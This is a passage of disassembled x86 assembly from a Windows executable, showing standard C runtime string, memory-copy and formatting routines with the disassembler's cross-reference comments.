dword_4DB2A8, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 2670230h nop test eax, eax jnz short loc_41BDF2 nop call near ptr 2670914h jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB2F4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB2F4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2C0 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; 